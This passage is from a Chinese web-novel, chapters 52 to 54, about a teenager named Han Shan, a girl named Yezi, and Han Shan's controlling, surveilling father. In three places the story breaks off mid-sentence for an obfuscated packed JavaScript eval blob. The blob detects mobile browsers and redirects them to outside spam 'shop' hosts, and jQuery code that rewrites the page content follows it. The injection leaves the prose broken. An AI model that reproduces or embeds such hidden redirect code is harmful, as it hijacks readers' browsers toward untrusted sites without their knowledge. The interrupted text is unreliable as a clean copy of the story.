韩山:“尝尝吧。这个蘸酱很好吃。” “那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419597|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不客气啦!”叶子戴上一次性手套拿起一片,用刀子抹上黄油酱,咬了一口。 咸咸香香的味道在口中漫开。 的确很好吃哎! 她眼前一亮,忍不住又拿了一片。 韩山眼中带着笑意,把盘子推到她面前,“我不爱吃这些,都是你的。” 叶子记得这道菜好像几百块钱,不禁替韩山觉得肉疼,几百块钱能在超市买多少袋面包片啊…… 侍应生又来上了一盘奶酪多士,搭配绿色的斑斓酱和红色樱桃。这一盘是切成条状的,也是四块,摆盘倒是精美,但量是真的小。 韩山顺手把盘子推到她面前。 叶子跟韩山关系好,不跟他客气,既然他不爱吃,这么贵也不能浪费不是?她毫无顾忌地大快朵颐。 这个多士的味道很清新,微甜不腻,有淡淡的青草香和椰子香。 她问韩山:“这些都是前菜吗?” “嗯。” 叶子一直所受的教育是正餐开始前不能吃太多零食,不然会影响吃正餐,然而法国人的饮食习惯居然爱在正餐前吃面包这种主食! 真是奇葩。她边吃边想。 不过好在它们份量小,不然她只吃前菜就饱了。 随后侍应生又上了焗蜗牛、马赛鱼羹、香煎鹅肝,由不同款式的盘子摆得很精致。 蜗牛有六个,摆成了梅花状;马赛鱼羹在一个小碗里,长得很像鸡蛋羹,但却是海鲜做的;鹅肝依然是四个,盘子周围摆着花花绿绿的蔬菜水果。 叶子挨个尝了尝,简直打开新世界的大门。 居然每个都好好吃! 她第一次吃西餐,发现她还挺适应的。她想起父亲去澳大利亚进修,倘若他们家未来真的会移民外国,她应该饿不死了。 之后是主菜亨利牛排,侍应生端上来的时候,还冒着热气滋滋作响。 牛排已经切好了,一条一条可以直接叉着吃。 叶子用叉子叉起一块,下意识吹了吹,问道:“对了,你点餐的时候说的M5是什么意思呀?” 韩山也叉起一块,解释道:“一种评级标准。M级从一到九,级别越高,脂肪含量越高。你第一次吃,所以我选的M5。” 叶子听得一愣一愣的,不明觉厉。 韩山顺带解释:“五分熟代表红肉含量百分之二十五左右,也适合第一次吃的人。亨利牛排用的是一整块菲力牛排,口感最为嫩滑,脂肪含量最少,你一定会喜欢。” 叶子惊叹:“你懂得好多啊!” 他看起来痞痞的,然而说起这些东西的时候,那种豪门公子的矜贵气质由内而外不断散发出来。 她不禁有些好奇,韩家到底是一种怎样的存在,竟能让两种截然相反的气质出现在同一个人身上? 韩山无言弯了弯唇。 牛排之后是主食,韩山点的是一份普通的茄汁牛肉意面,给叶子点的是海鲜蟹膏虾汤意面。 侍应生送过来的时候,韩山还贴心地要了双筷子,怕她不习惯用叉子吃面。 叶子看到盘子里有两只整只的大虾,有点犯怵。 两只虾瞪着两双黑溜溜的眼睛,无数条腿缩在一起,看得她密恐都要犯了。 说出来可能让人无法理解,她从小就害怕虾、螃蟹,这种多足动物,这些东西在她面前跟蜈蚣是一个性质。 所以她向来只吃剥好的。 他爸他妈也很奇怪她居然怕这种东西,总爱调侃她天生就是享福的命。 韩山很快发现她迟迟不肯动筷,知道估计是有什么问题,问道:“怎么了?” 叶子不太好意思直说,吞吞吐吐道:“这个虾……” 韩山黑眸注视着她,“不吃?” 叶子没想到他这么把她的反应当回事,犹豫地说:“不是……” 韩山了然地一笑,“我给你剥?” 叶子脸蛋唰一下红了,“可、可以吗?” 同时她在心里暗暗感叹,他居然一下子就能看透她的心思! “只要你不嫌弃。”韩山把一个干净盘子递过去,“夹过来吧。” 叶子羞赧地把两只虾夹到了他盘子里。 从小到大,除了她爸妈,她还没让第三个人给她剥过虾。 韩山戴上全新的一次性手套,拿起一只虾,掐掉它的头。 叶子实在是不好意思,看着他剥虾,心里恨自己不是公主,却患上了公主病,连个虾都怕。 少年剥的很细心,修长的手指在虾壳上移动,虾壳一片片脱落。 他睫毛微垂,在眼底投下浅浅阴影。 餐厅柔柔的暖光灯洒在他身上,给他周身镀了层温柔的光环。 叶子恍惚间有些出神,男生认真做起事时的样子,是不是都这么好看呀? 少年动作很快,两只剥好的干净虾仁转眼摆在盘子中放到了她面前。 “谢谢……”叶子脸颊热到了极点,低着头不敢看他一眼,闷头吃面。 韩山摘下一次性手套,重新拿起叉子。 叶子用的是筷子,把虾仁夹到碗里跟面一起卷着吃。 韩山悄悄观察她,看她心无芥蒂地吃了他剥的虾仁,心里十分满足。 有男朋友又怎样,不还是吃他剥的虾? 最后上的便是甜品了,韩山点的是法式焦糖吐司,吐司用香草奶油泡过,香甜绵软。 吐司外面一层被烤得焦焦的,里面却像棉花糖一般,入口一抿就能化开。 吐司旁有一颗香草冰淇淋球作为搭配,冰淇淋球上浇了红色的草莓酱,最上面还有一整颗草莓。 叶子用吐司蘸着冰淇淋吃,口感别样的冰凉丝滑。 叶子吃得饱饱的,最后剩了不到半杯饮料实在喝不下了,留在了桌上。 韩山结账时直接刷的卡。 他们从餐厅出来,韩山问道:“这顿饭还满意吗?” 叶子满意,她可太满意了,她这辈子第一次吃这么贵的饭! 还是西餐! 如果不是他,她自己绝对不会这么奢侈! 她点头如捣蒜。 韩山笑笑,不论如何,她满意就好。 他把她送回家,在她家楼下,他长腿支着机车,问道:“现在气可消了?” 没告诉她搬家的气,不回她短信的气,或许,还有那么一点他打架被停课的气,可都一并消了? 叶子羞耻地挠了挠耳后,上万块钱的饭在她肚子里,消化都没消化呢,她怎敢生气? 她头一次被“吃人嘴软拿人手短”这句话压制得这么惨,感觉自己这辈子都要在他面前抬不起头了。 韩山看出她已经不生气了,宠溺地拨了下她被风吹乱的刘海,“好了,回家吧。” 叶子心尖一颤,下意识抬眸。 他拨的好似她的心弦。 她心怦怦跳,小声道:“那你停课期间也要好好学习哦,不要落下功课……” “嗯,知道。去吧。” 她低下头,给他挥手,“那我走了,拜拜。” “拜。” 她转身逃似的跑进楼道。 韩山看着楼道的灯一层一层亮起,放心地调头离开。 他刚驶出叶子小区没多远,手机响了一声,收到一条短信。 他下意识以为是叶子,微微勾唇,单手骑车,拿出手机一看,却是一个陌生号码。 他蹙眉。 他打开短信,里面一个文字都没有,只有一张照片。 他陡然刹车,神色渐渐变冷。 53. 疯子 韩山点开照片,放大。 照片是从餐厅玻璃外拍的,正对着他和叶子。 很显然,他们吃饭的时候,有人在外面监视他们。 韩山回忆了一下,这个视角,分明是一片空地,那人到底躲在哪里?他竟然丝毫没有察觉。 照片拍的很清晰,女孩的面容清清楚楚。 韩山第一次感到脊背发凉。 韩松庭的声音再次回荡在脑海,像魔咒一般—— 你每交一个朋友,我就毁你一个朋友。 他胸膛起伏越来越剧烈,快要将手机捏碎。 韩山拨通这个号码,电话那边提示无法接通,他打开通讯录黑名单,把韩松庭的号码拉出来,拨过去。 电话响了两声便被挂断,韩松庭不接。 他到底想干什么? 韩山呼吸带着怒意,又拨通了韩家管家的电话。 这回电话终于打通,管家一接电话便热情地说道:“二少爷,你终于知道往家打个电话了,老夫人一直念叨你呢!” 管家今年五十多了,在韩家工作了三十年,早已把自己当做韩家的一份子。 老夫人就是韩山的祖母,因为韩家的关系,韩山跟祖母不是很亲,但祖母一直惦记着他。 韩山懒得跟管家废话,命令道:“韩松庭呢,把电话给他!” “喔,二少爷,先生今晚在公司,不回来。如果——” 韩山没耐心听完,直接挂了电话。 他重新骑上机车,加速,在调头车道极限压弯,甩尾,轮胎在地面摩擦出火花,留下一道黑色车辙印,他向韩氏集团驶去。 今夜是个阴天,乌云遮挡月亮。 晚风刚硬地打在他脸上,他渐渐意识到一件事。 倘若韩松庭可以派人在他不知不觉中监视他,想必监视早就开始了。 他对韩松庭来说到底是什么?他到底有没有把他当人看? 失望、不解、愤怒……以及想要保护她的决心,一起在胸腔汇聚,堵得不行。他不断拧油门,试图用风驰电掣的速度发泄出去,然而油门已经到了底。 他左右扭动车把避开路上的车辆,速度快得几乎要飞起来。 晚上,集团员工都已下班,企业园内一个人也没有,路灯孤独地亮着。 韩山一路飞驰,绕到集团一个偏门附近,停车下来。 这个时间有门禁,保安只认预约不认人,绝不会放他进去。韩山自然不走正门。 他凭身手翻墙进去。 韩松庭是个极度谨慎的人,企业园内监控遍布,实现百分百覆盖零死角,他一翻进去,保安立刻就在监控画面中看到了他。 “注意注意,十三号门附近,有人闯入,有人闯入!”保安立刻用对讲机呼叫,所有保安同时收到了消息,纷纷拿着电棍手电赶去。 韩山知道那里有监控,保安一定很快就会来抓他,早有准备,以黑暗为遮挡,熟练地躲开保安的围堵搜寻,潜入韩松庭所在的办公楼。 他翻过楼中门禁,乘电梯上楼。 韩松庭正在办公室内看资料,集团最近新开发了一个项目,很多细节都需要打磨。 他看资料时会戴一只银丝眼镜,给他平添几分温谦儒雅的气质,他轻轻晃着二郎腿,手上握着杯拿铁,时不时抿上一口,极尽从容。 电脑屏幕上的监控画面出现韩山的身影。 他抬头看了眼,露出一个“果不其然”的轻笑。 他就知道他会来。 从挂掉他电话的那刻起,韩松庭就把监控调了出来,等着他出现。 几秒钟后,办公室的门被推开。 韩松庭头也没抬,语气很淡,似嘲讽一般:“稀客啊。” 韩山脸上一点情绪也没有,顺手关上办公室门,走到韩松庭桌前,完全不磨叽,直截了当说:“照片什么意思?你到底想干什么?” 韩松庭笑了声,意味不明。 韩山最烦他这副模样,有事不说,装出一副神秘兮兮的样子,不知道装给谁看? 韩松庭合起文件夹,随手丢在桌上,喝了口咖啡,语气平淡:“说说吧,她是谁?” 韩山不假思索:“同学。” “同学?”韩松庭又笑了声,抬起头,一双锐利幽深的眸透过镜片盯着韩山。他这样一言不发盯着人看的时候,与韩山如出一辙,“你打架就是为了她?” 韩山的心骤然一咯噔,表面仍面不改色,“不是。” “不是?”韩松庭再次反问,镜片反着光,看不清神色。 韩山没搭腔,他在明,韩松庭在暗,他不知道韩松庭想做什么,这种未知让他感到不安。 韩松庭何其敏锐的一个人,根本不需要别人给他答案,一个问题从他口中问出来,不是求证,而是试探。 他的目光已经有些冷了,“你上次打架也是为了她吧?你谈恋爱了。” 韩山整个人僵硬了几分,他说:“没有。” 这次是实话,百分百的。 “那你喜欢她?”韩松庭靠在椅背上,语气轻描淡写。他依然保持着翘二郎腿的姿势,姿态十分放松,他坐着,韩山站着,明明他位置低,要仰头看韩山,但浑身那种悠闲自得的气场,却硬压韩山一头。 韩山难以回答这个问题。 否认的话说不出来,他这个人虽然很烂很差劲上不了排面,但他的爱不是。 他的爱光明正大,如果她愿意,他可以昭告全世界。 否认这个问题,就像亲口否认自己的感情。 他做不到。 韩松庭的目光更冷了,“你才多大,你懂什么是爱吗?” 韩山觉得,起码比他懂。 他知道爱是专一,是尊重,是希望对方过得好,但韩松庭永远做不到。 他怎么有资格教他什么是爱? 韩松庭语气没有一丝波澜:“转学吧。正好你不是被停课吗,你彻底不用去了,我明天就给你办转学手续。” 韩山神色微变,当即说:“我不转。” “这件事不是跟你商量,你没权力说不。” “凭什么?”韩山语调高了些,“从小到大,一遇到你不满意的事,你就给我转学,幼儿园、小学、初中,我从来没有完完整整在一个学校上完过!这次我绝不会转。” 韩松庭不耐烦了:“转学有错吗?孟母还三迁呢,我是为了你好。” 韩山嗤笑一声,“当初是你自己要跟我断绝关系的吧,你现在是我谁啊?你凭什么觉得你是在为我好?” 韩松庭被激怒,拍了下桌子,“韩山!” 韩山目光又冷又刺,他来之前就已经下定决心,不论韩松庭想做什么,都不能让他得逞。 哪怕……赌上他自己。 韩松庭:“你不想转学,那你看看你都为她干了些什么!打架、停课,停课期间还跟她出去吃饭,你不会觉得这样就能追到她了吧?你看看你这幅德行,哪个女生会喜欢?” 韩山握紧了拳头,他知道他不配,可从别人口中听到这些话时,还是有些难以接受。 韩松庭口气坚决:“我告诉你,你必须给我转学!我绝不允许你再为了一个女生做出这种丢尽脸面的事!” 韩山冷嘲:“哦,你终于说实话了,什么为我好都是骗人的,你就是为了你的面子。” “韩山!”韩松庭拍案而起,怒不可遏,“你现在真是一点教养都没有!” 韩山冷笑。 “我告诉你,你这学转定了!” “韩松庭,我绝不转学。”韩山直呼其名,一字一顿,说得无比张狂。 “由不得你!” “是吗。那你就试试,看我会不会在新学校里闹出比打架更大的事,闹到学校把我开除,闹到再也没有学校敢要我。” 韩松庭瞪眼睛,“你敢!” 韩山毫不畏惧迎上他的目光,“你看我敢不敢。” 韩松庭知道他是真敢,某种程度上说,他们两个很像,说出去的话绝非只是恐吓,是真的当成条件在谈判。 一条路行不通,韩松庭便走另一条路,“行,你不转,那你就别想她好过!” 韩山慌了一下,“你要干什么?” 韩松庭看到他紧张的样子,露出一个短暂的,嘲讽的笑容。 韩松庭慢条斯理说:“据我调查,她妈在舒特制衣厂上班,她爸在澳大利亚进修,你说我要是稍微动用点手腕,让他们出点事,她会怎么样?” 韩山黑眸一瞬间暗下去,沉声念他名字,“韩松庭……你别逼我!” “我的脾气你知道,说到做到。”韩松庭威胁,“我眼里容不得沙子。” 韩山喉结滚了下,豁出去地点点头,“我也说到做到,你若敢动她、或是动她家人一根汗毛,我就毁了我自己。杀个人强个奸,判个死刑,无期徒刑,要是再一闹,让各大媒体知道,看你韩松庭的股票跌不跌。到时候不仅你的生意受到影响,韩家也会多一个不可磨灭的黑点,而这个黑点,还是出在你身上,到时候别人不一定记得我的名字,但一定都会记得,那是韩松庭儿子。”他挑衅地扬了下眉。 韩松庭最在意面子、声誉、韩家的企业,打蛇打七寸,这些话看起来虚浮不切实际,但对韩松庭来说却是最有用的。 韩松庭在意的东西多,可韩山没什么在意的,他只在意她。 谁的软肋多谁就落下风,他不相信韩松庭毫无忌惮。 韩松庭气得颤抖,扬手甩了他一耳光,“你个疯子!” 韩山的脸被打到偏向一侧,嘴角漫出血丝,他却笑了。 他是真的觉得很好笑,疯子竟然还骂别人疯? 他嘴角扯着血迹,使得这个笑看起来格外破碎和诡异,他回眸看着韩松庭,眼尾微微泛红,“那还得拜你所赐。我基因里的疯,不都是遗传你吗?” 韩松庭手指颤抖,突然觉得眼前这个儿子特别陌生。 以前他虽然也叛逆,但还没有这样极端,偏执。 他什么时候变成这样了? 韩山:“韩松庭,我只想好好在这个学校上完高中,好好守着她,你真的别逼我。否则我一定让你得不偿失。” 说实话,韩松庭确实被他震慑到了,他知道他不是说说而已,他真的能做出来。 韩松庭呼吸微沉,“转学的事先不说,我看你这么护着她,难不成你还想娶她进门?” 韩山移开目光,没回答,脸颊鼓动两下。 “你这个年纪,什么情啊爱啊不会有结果的!你身为韩家的后代,你的婚姻要为韩家的利益考虑,韩家不可能,也绝对不会允许你随随便便娶一个女人进来。你最好考虑清楚,你现在为了她值不值得。” 言外之意,他的婚姻他说了不算。 韩山从小就被韩松庭灌输这种思想,已经习惯了,他甚至有些腻歪,说来说去就这点东西,从来没有新鲜的。 他想不了那么长远的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14489764|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也懒得去想,总之高中毕业前,他只想好好守着她。 他现在听到这些话,更多的是为母亲感到悲哀,他轻轻说:“所以我妈是你权衡利弊后舍弃的那一个。” 韩松庭瞬间不耐烦:“怎么又提这个,都多少年了。” 韩山原本只是随口一感叹,然而韩松庭的反应却格外让人生气。他看了他两秒,冷笑一声,“既然你这么烦她,何必还跟她生下我?管不住下半身吗?” “放肆!” 又是一声响亮的耳光,韩山被打得耳朵嗡嗡作响。他蹙眉忍过去。 韩松庭胸膛剧烈起伏,“怎么说话呢!你现在真是缺乏管教!” “怎么,被我说中了,这么生气?”韩山不紧不慢冷嘲热讽,“有本事再把我栓起来关在阁楼啊,来啊。” 韩松庭指着他,“你个孽障,你懂什么!我这是为韩家开枝散叶!你以后也要如此!” 韩山忍不住笑了,好一个开枝散叶,真会给自己开脱。 如果可以选择,他根本不想出生在韩家。 他也绝不会走韩松庭的路。 他冷冷地说:“你是想让我成为第二个你吗?你死了这份心吧。我这辈子都不结婚,也不生孩子。” 韩松庭怒道:“你是韩家的后代,这是你的义务!” 韩山说:“我是我妈生的,谁稀罕你这颗廉价肮脏的精.子。” 韩松庭举起巴掌,“韩山!” 韩山挺身把脸送上去,“打啊!来!朝这打!” 韩松庭呼吸急促,眼中布满血丝,死死瞪着他。 韩山无所畏惧,大不了一死了之,把这条命还给他。 正在这时,办公室门突然被打开,一群保安冲进来抓人,“韩总,您没事吧!” 韩松庭立刻收起了巴掌,整理领带西装,掩饰情绪。 韩山被保安团团围住,看着韩松庭局促维持体面的模样,嘴角勾着抹嘲讽的笑。 韩松庭脸色不悦,道:“谁让你们不敲门进来的?滚出去!” 保安们懵逼了,他们在外面搜查了好几圈没抓到韩山人,调监控发现他去了韩松庭办公室,担心韩松庭安全前来抓人,每一条都符合韩氏集团的规定,怎么还不对了呢? 然而他们也不敢多问,老板说什么就是什么,匆忙撤退。 韩山双手插.在裤兜,懒洋洋迈开步子,也要跟着他们走,韩松庭说:“站住!” 韩山耐着性子停下。 最后一个保安以为是在叫他,吓得一个激灵,战战兢兢回过头发现不是,连忙溜了,还不忘顺手把门带上。 韩山散漫站着,没回头。 韩松庭说:“你可以不转学,但你若再为了一个女生做出这种丢尽我脸面的事,你的自由我一定收回。” 韩山一言不发,开门离开了。 今晚这局他险胜一筹,但韩松庭的警告也不能不当回事,否则韩松庭真的有可能跟他鱼死网破。 韩松庭叱咤商圈多年,会有所忌惮,但绝不会被彻底吓住,他的所有让步只是因为,还没到最后时刻,他要有所保留。 可为了对付韩松庭,韩山却把自己所有底牌都掀了。 他没办法,不掀他连谈判的资格都没有。 他是在用未来,博现在。 韩山离开后,韩松庭的手下,一个梳着干练低马尾,身穿女式西装,黑色高跟鞋的女人,从书柜后的暗门走出来。 韩松庭转身回到办公桌后坐下,喝了一大口咖啡平息怒火,“看到了吧,不可理喻。” 女人抱着文件夹,低头笑了一下,“这个年纪都这样,韩总别太放心上。” “查到了吗?”韩松庭伸手。 “噢,查到了韩总。”女人立刻将手里的文件夹打开递过去。 韩松庭接过来扫了眼。 文件夹里是一份个人信息简介,右上角贴着该人的头像照片。 女人介绍说:“此人是叶子的舅舅,名叫李勇军。没有工作,整日游手好闲,与叶子家关系不算好。经评估,用钱买通他的概率接近百分之百。” 韩松庭很是满意,“不错,此人日后定能为我所用。” 女手下:“对了,此人最近正在经营一家老年保健品店,要继续查吗?” “查。”韩松庭斩钉截铁。 “是,那二少爷那边——” “按兵不动,继续监视。” “是。” 自那晚仓库断绝关系,韩松庭就派了人监视韩山。 时至今日……已有小半年了。 韩山是他儿子,他当然知道他打架是有原因的。 表面断绝关系,只是一种障眼法,好让韩山放松警惕,以便看清惯性思维掩盖下的真相。 然后韩松庭就发现了韩山身边总是有一个女孩的身影。 直到韩山这次打架,韩松庭终于忍无可忍。 打电话恐吓“你每交一个朋友我就毁一个”,以及那张照片,都只是韩松庭为了引韩山主动来找他的手段。 他对韩山有一种,连他自己都不可思议的控制欲。 他做事向来谨慎严苛,不容许一分一毫的差错,毕竟失之毫厘,就能差之千里。 他给韩山规划了一条笔直宽敞的大道,只要他顺着走,就是无限光明。 韩家的一切都会是他的。 他见不得,绝不能容许,他因为路边的一朵野花,而蒙蔽双眼,停滞不前。 54. 春游(上) 人间四月天,樱花飞舞,学校组织春游,刘帅通知大家这个好消息时,全班高兴得炸了锅。 柯以珩立刻拿出小镜子照自己脸上的伤。 之前被韩山打的伤刚好,又挨了龙哥两拳,这种大型活动肯定要拍照,他可不想带着一脸伤。 好在有叶子的创伤膏,他伤口愈合得比想象的快,拍照应该看不出来。 班长给每位同学下发“春季社会实践活动家长告知书”,刘帅在讲台上激情澎湃地说:“告知书每位同学都收到了吧,今晚拿回家让家长签字,明天交上来。重点提醒一下哦,不签字是不能参加的!住校不回去的学生联系家长给我打个电话。” 告知书上写了活动地点、活动安排,还有一些注意事项,同学们兴奋地讨论起来。 春游为期两天,总共去两个地方,叶子看到其中一个地点是蓝森野生动物园,觉得这个名字有些熟悉。 她幼儿园时,好像就去这里春游过。 她还被人欺负,差点发生危险。 课间,同学们讨论的话题都是春游穿什么衣服,准备什么东西。 柯以珩又拿出小镜子左右照起来。 自从他受伤,他就随身携带小镜子,每隔一段时间就要拿出来照照,看愈合情况,比爱臭美的女生都夸张。 这张脸是他引以为傲的优势,他急切地盼着伤口赶紧好。 尤其又赶上春游这种大型活动。 每每看到脸上的伤口,他就会想到让自己受伤的两个罪魁祸首,一肚子火。 龙哥他就既往不咎了,但那个姓韩的,他咽不下这口气。 他知道了叶子和韩山认识,更不甘心,韩山敢为了叶子把龙哥揍成那样,心思已经显而易见。 怪不得叶子迟迟不跟他表白,肯定是因为韩山。 他单方面把一切原因都归结于韩山,暗暗发誓与他势不两立。 叶子拿杯子和秦夏去水房接水,柯以珩叫住她,把自己杯子递给她,露出一个讨好的笑容。 叶子无奈接过他的杯子,这种顺手的事,她不介意帮他一把。 柯以珩洋洋自得,心想,姓韩的,她没帮你接过水吧? 他学习好,长得好,万众瞩目,难道还比不过一个人人喊打的混混? 叶子和秦夏往水房走,秦夏愚人节那天自然没等到任何人来,第二天听叶子说了那天的事,感到懊悔和后怕。 如果她当时不去赴约,或许叶子就不会遭遇这些。 然而叶子表示没关系,这一切本身就是无法预测的,与秦夏无关。 秦夏得知了韩山把龙哥揍到医院的事,被吓死了,愈发觉得韩山这人很可怕。 现在就敢下这么狠的手,以后不会还家暴什么的吧! 叶子依然为他说话:“他平常不这样的,他都是为了我。” 秦夏无法反驳,毕竟她说的是事实。她只能反复提醒叶子,要擦亮眼睛,不要被表象蒙蔽。 叶子了解韩山,他是有些控制不住情绪,下手没个轻重,但他是非分明,可靠有担当,不是坏孩子。 叶子知道秦夏是好心,每次都欣然应下,但她心里比谁都明白,被表象蒙蔽的是他们,她始终看得很清楚。 去水房接水的路上,秦夏担忧对叶子道:“柯以珩都知道你跟韩山认识了,怎么还让你帮他接水?” 叶子奇怪:“这两件事有什么关联吗?” “当然有了!他不怕再次挨揍吗?” 叶子被逗笑了:“只是接水,不会的。” 秦夏心中无奈,她想表达的是韩山知道了会不会吃醋生气,找柯以珩报复。但叶子这种反应是一点没往那方面想啊。 她不打算提醒叶子,既然她没往那方面想,那就说明她对韩山没什么感觉。这再好不过。 秦夏:“那你说韩山被停课了,这次春游是不是就去不了了?” 叶子叹了口气,“是呀。” 刘帅说告知书没有家长签字不能参加,就算韩山没有被停课,或许也去不了呢。 * 晚上,李丽然下班回家,叶子把告知书拿给她签字。 李丽然看都没看直接就签了,“春游好啊,趁着高一没那么紧张抓紧玩玩!” 她签完了扫了眼活动地点,“哟,蓝森野生动物园?你小时候去过呀!” 叶子本来还有点不确定,毕竟过去很久了,她记忆已经模糊了,听李丽然这么一说,她才确定下来,“我就说这名字看着眼熟,果然去过。” 李丽然笑着用手比划:“是呀,那时候你还小,就这么高,刚上幼儿园,胖乎乎的,就像个粉团子!”她说着说着陷入回忆,神色充满怀念,“转眼都过去十多年了……” 别的叶子印象不深,但说到她小时候胖,她可记得清着呢,那么多年的小胖墩不是白叫的。 李丽然兴奋道:“我听说这动物园前几年翻新重建了,去看看挺好的,一定会有不一样的体验!” 叶子也这么觉得,少女和小女孩看世界的角度肯定不一样呀。 叶子拿着告知书回到房间,给韩山发了条短信,告诉他春游的好消息。 她还说其中一个地方她小时候就去过,字里行间都透着得意。 韩山看完短信,坐在黑暗中,有些恍惚。 今天猴子也给他说了这事,听到春游地点有蓝森野生动物园时,他蹙了蹙眉。 猴子还在电话那头喋喋不休给他分享学校发生的趣事,他却已无心去听,指尖微微颤抖,瞳眸黑沉一片。 半晌儿猴子发现电话那头一直没有回应,诧异道:“喂?弥哥?人呢?” 韩山像是为了平复心绪一般,闭上眼深吸了口气,没有说什么,问了春游的具体时间和安排。 猴子都告诉了他。 * 春游当天是个大晴天,叶子提前看了天气预报,气温二十五度,她穿了短裤,露出两条纤细雪白的腿。 叶子虽然矮了点,但身材比例很好,腿很长。 她从房间出来,李丽然看到她,眼前一亮,“我女儿真是长大了,亭亭玉立!” 叶子被她夸得不好意思了。 李丽然把钱放在桌上,穿鞋道:“钱我放这了!穷家富路,出去玩该花的花,看到什么喜欢的就买。我上班去了!” 叶子给她告别:“妈妈再见!” “再见!”李丽然关门离开。 叶子简单收拾了下,瞧时间差不多了,背上帆布包,去学校集合。 学生们都在操场站队,叶子出现的时候,秦夏瞪圆了眼睛。 叶子平常规规矩矩穿校服,一副标准好学生的模样,如今穿上自己的衣服,整个人的气质都不一样了。 她上身是两件套,黑色吊带内搭加白色薄款短袖,面料微透,下身是浅蓝牛仔短裤,裤腿松松的,有很大的空隙。脚上白色高帮帆布鞋。 普普通通很休闲的搭配,反而有种自然松弛的美。 叶子有段时间没剪头发了,发梢到肩膀,刘海略微遮眉毛,最好看的长度,没有化妆,美得天然纯粹。 她这一身乖乖的,微微透出来的黑色吊带又增加了几分独属于少女的纯。 秦夏双手捏她脸蛋,咆哮道:“啊啊啊叶子你怎么这么可爱啊!” 男生们的目光也纷纷投向叶子,他们第一次见叶子穿校服以外的衣服,被她的清纯甜美吸引到了。 年级第一竟然也能这么好看啊! 叶子笑着拉过秦夏的手,“你今天也很漂亮呀!” 秦夏今天穿的是浅粉色碎花长裙,荷叶边的白色袜子,公主鞋,耳边别了一朵黄色雏菊发卡。 秦夏腼腆地笑了笑,她一向对自己的外表很没自信,也很少被夸好看。 清晨阳光明媚,叶子的手链随着她的动作闪闪发亮,晃瞎了秦夏的眼睛,也成了少女身上的锦上添花,秦夏不禁心想韩山虽然人浑了点,倒是挺会送东西。 这肯定价值不菲吧…… 班长开始组织大家排队和点名,同学们自觉站成一列,叶子和秦夏前后站在一起,在班长点到名字的时候喊到。 有个别名字班长喊的时候没人应,班长在名单上做好记号。 叶子心想还真有人不去呀。 也对,告知书需要家长签字才能去,不是所有人都能有完整的家庭,开明的父母。 就像韩山那样。 她能站在这里,已经何其幸运。 班长点到柯以珩的名字时,柯以珩刚跑过来,喘着气说到。 他专门用卷发棒搞了发型,还喷了定型,黑发凌乱微卷,特别张扬。 他穿着绿色无袖连帽卫衣,露出肌肉线条流畅的手臂。黑色工装裤,白色篮球鞋。卫衣前面一个大大的红色对钩标志,浑身带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14529173|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着股潮酷不羁的劲儿。 邻班女生都在往后看,小声说:“好帅啊……” 秦夏也下意识回头看了眼,柯以珩站在最后,因为身高突出,露出半个头,还是很显眼。 她用胳膊肘碰了碰叶子,“柯以珩今天也蛮帅的嘛!” 叶子踮脚看了眼,其实她一直觉得柯以珩的外形气质跟韩山很像,只不过两个人的性格脾气实在是天差地别。 刘帅姗姗赶到,班长给刘帅汇报了人数和没到的人员,刘帅组织大家上车。 学校的大巴车是双层的,叶子和秦夏来得早,站的位置靠前,先上车,有座位选择权。 叶子想都没想,拉着秦夏往二层跑。 她还没坐过双层大巴呢。 二层前排的位置已经被人占了,叶子和秦夏只好坐第五排。叶子让秦夏先进,“你坐里面吧!” 秦夏把叶子推了进去,“我不喜欢靠窗,还是你坐吧。”她坐在靠过道的那边。 叶子知道秦夏是故意让她,眼睛弯成一道桥。 车里提前开了空调,空气凉飕飕的,很舒服。 叶子打开自己的帆布包,把自己带的零食分了一半给秦夏,“太沉了,快帮我吃点。” 秦夏爽快接受:“正好我没吃早饭。” 同学们陆陆续续入座,车里闹哄哄的,第一次春游大家都很兴奋。 秦夏忽的收到一条短信,上面写着:我是柯以珩,我在下面,咱俩换换座位?可以就来下面找我。 秦夏诧异极了,他是怎么知道她手机号的? 还有,他这是啥意思? 秦夏下意识看了眼旁边喝着牛奶吃饼干的少女,难不成他也……? 秦夏直接问叶子,“柯以珩想跟我换座位,你愿意吗?” 叶子古怪地蹙眉,“为什么要换,不愿意。” 平常上课时她就跟柯以珩同桌,好不容易出去玩一次,为什么还要跟他“同桌”? 秦夏坦然地回复柯以珩的短信: 叶子说了,不换。 * 大巴车行驶上路,叶子新奇地坐直了身子,观赏路上的景色。 其实和普通单层大巴也没什么区别,就是视角高了些。 叶子看了会儿,好奇心得到满足,便放松地靠回椅背上。 